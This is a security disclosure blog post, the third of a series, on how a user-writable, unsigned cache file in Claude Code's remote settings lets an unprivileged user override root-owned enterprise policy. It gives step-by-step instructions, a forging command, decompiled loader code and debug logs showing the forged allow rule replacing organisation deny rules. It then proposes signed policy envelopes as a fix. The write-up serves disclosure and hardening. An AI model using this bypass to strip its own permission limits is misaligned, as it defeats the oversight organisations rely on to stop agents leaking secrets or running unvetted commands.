This post is part of a 4-part 5-part series on security vulnerabilities
in Claude Code’s managed settings engine and the disclosure process:
- Part 1: How Cosmetic Remote Settings Kill Root Policies
- Part 2: Bypassing Enterprise Policy by Going Offline
- Part 3: Forging Remote Settings in User Space
- Part 4: The 5-Minute HackerOne Rejection Speedrun
- Part 5: Working as Designed… Until Quietly Patched
Update (November 2026)
This series gained a new 5th part with some major plot twists. After closing all of these reports in minutes as “working as designed,” Anthropic spent the next ten weeks quietly shipping fixes for every single one of them. Read Part 5 for the changelog receipts and a testimonial on how Anthropic’s “bug bounty” strategy works in practice.
In the previous two installments of this series, we uncovered two distinct flaws in how Claude Code handles enterprise configuration:
- Tier Shadowing: The runtime uses a first-wins strategy where the
remotetier completely overrides and discards the local root-ownedfiletier (Part 1). - Fail-Open Poller: When network requests fail at startup, the client trusts its stale local cache and disables policy re-fetching for up to one hour (Part 2).
Each of these vulnerabilities is problematic on its own. But when you chain them together with how Claude Code stores cached remote settings on disk, you get a critical privilege boundary collapse:
An unprivileged local user can write arbitrary policy into a user-owned JSON file and trick Claude Code into treating it as the authoritative, root-overriding organization policy.
No sudo password required. No kernel exploits. Just a plain text file in the
user’s home directory.
The unauthenticated cache file
When Claude Code successfully downloads remote settings from the Anthropic API,
it caches them locally in the user’s configuration folder:
$CLAUDE_CONFIG_DIR/remote-settings.json (typically
~/.claude/remote-settings.json).
Let us look at how the runtime reads this file during startup:
function mVy() {
try {
let e = Eue(HIo()), // HIo() resolves to $CLAUDE_CONFIG_DIR/remote-settings.json
t = Xt(yO(e));
if (!t || typeof t !== "object" || Array.isArray(t)) return null;
return t;
} catch {
return null;
}
}
Notice what is happening here: it performs a simple JSON.parse (Xt(yO(e))).
There is zero cryptographic verification.
There is no HMAC. There is no public-key digital signature from Anthropic. The
only integrity mechanism in the entire module is an ETag header that the client
computes itself using SHA-256 over the local file contents to avoid
re-downloading identical payloads.
Because the client computes the hash over whatever is on disk, anyone who can write to the file can generate a valid cache state.
Chaining the chain: The full bypass exploit
Here is how the chain comes together:
- The attacker edits
~/.claude/remote-settings.json, injecting their own custom permissions or an empty object{}. - The attacker toggles off network connectivity.
- Claude Code starts. It reads
~/.claude/remote-settings.jsonviamVy(). - Because the file contains valid JSON, the runtime assigns it to the
remotetier. - Due to the tier-shadowing bug (Vulnerability 1), the presence of the
remotetier completely suppresses the root-owned/etc/claude-code/managed-settings.json. All system-level deny rules, command hooks, and tool restrictions are wiped out. - The runtime attempts to contact Anthropic’s API to refresh settings, but fails because the network is down.
- Due to the fail-open bug (Vulnerability 2), the retry loop gives up after 20 seconds, leaves the forged cache in place, and schedules the next fetch for one hour later.
- The attacker reconnects the network and uses Claude Code with full access to the API, unrestricted by corporate root policies or organization rules.
Let us watch this happen in real time with the debug logger.
First, write a forged policy granting unrestricted execution:
$ echo '{"permissions":{"allow":["Bash(echo FORGED_BY_ME)"]}}' > ~/.claude/remote-settings.json
Disconnect your network adapter and start Claude Code:
$ claude --debug --print 'Reply OK'
Wait 20 seconds, and then check ~/.claude/debug/latest:
2026-08-24T11:10:54.191Z [DEBUG] Applying permission update: Adding 1 allow rule(s) to destination 'policySettings': ["Bash(echo FORGED_BY_ME)"]
2026-08-24T11:10:54.233Z [DEBUG] Remote settings: Retry 1/5 after 582ms
2026-08-24T11:10:54.819Z [DEBUG] Remote settings: Retry 2/5 after 1184ms
2026-08-24T11:10:56.009Z [DEBUG] Remote settings: Retry 3/5 after 2441ms
2026-08-24T11:10:58.453Z [DEBUG] Remote settings: Retry 4/5 after 4642ms
2026-08-24T11:11:03.099Z [DEBUG] Remote settings: Retry 5/5 after 8548ms
2026-08-24T11:11:11.652Z [DEBUG] Remote settings: Using stale cache after fetch failure (unknown_error)
2026-08-24T11:11:11.703Z [DEBUG] Replacing all allow rules for destination 'policySettings' with 0 rule(s): []
2026-08-24T11:11:11.703Z [DEBUG] Replacing all deny rules for destination 'policySettings' with 0 rule(s): []
2026-08-24T11:11:11.703Z [DEBUG] Replacing all ask rules for destination 'policySettings' with 0 rule(s): []
2026-08-24T11:11:11.703Z [DEBUG] Replacing all allow rules for destination 'policySettings' with 1 rule(s): ["Bash(echo FORGED_BY_ME)"]
Look at that final line:
Adding 1 allow rule(s) to destination 'policySettings': ["Bash(echo FORGED_BY_ME)"].
The client elevated the user-crafted file to the highest tier of system policy.
The root-owned file in /etc was bypassed without root access. The real
organization policy was bypassed without admin console credentials.
Security impact
This vulnerability breaks the fundamental assumption of MDM and enterprise workstation management:
- CWE-345: Insufficient Verification of Data Authenticity
- CWE-353: Missing Support for Integrity Check
- CWE-693: Protection Mechanism Failure
If a company provisions a laptop with a locked-down /etc configuration to
prevent AI coding agents from leaking secrets or running unvetted shell
commands, that protection is illusory. Any developer or script running in user
space can neuter the controls in twenty seconds.
The cryptographic fix
Storing remote policy in a user-writable directory requires robust cryptographic design:
- Signed policy envelopes: The Anthropic settings server must sign the settings payload with an asymmetric private key (e.g., Ed25519). The client runtime should embed Anthropic’s public key and verify the signature before accepting any cached file.
- Reject unsigned caches: If the signature in
~/.claude/remote-settings.jsonis missing or invalid, the file must be treated as corrupt and discarded immediately. - Never allow user cache to shadow root files: A cached remote policy should never be allowed to override local root configuration without cryptographic proof of authenticity and a proper policy-merging algorithm.
In Part 4, we will look at what happened when these three vulnerabilities were submitted to Anthropic via HackerOne, and why automated triage rejections put enterprise users at risk.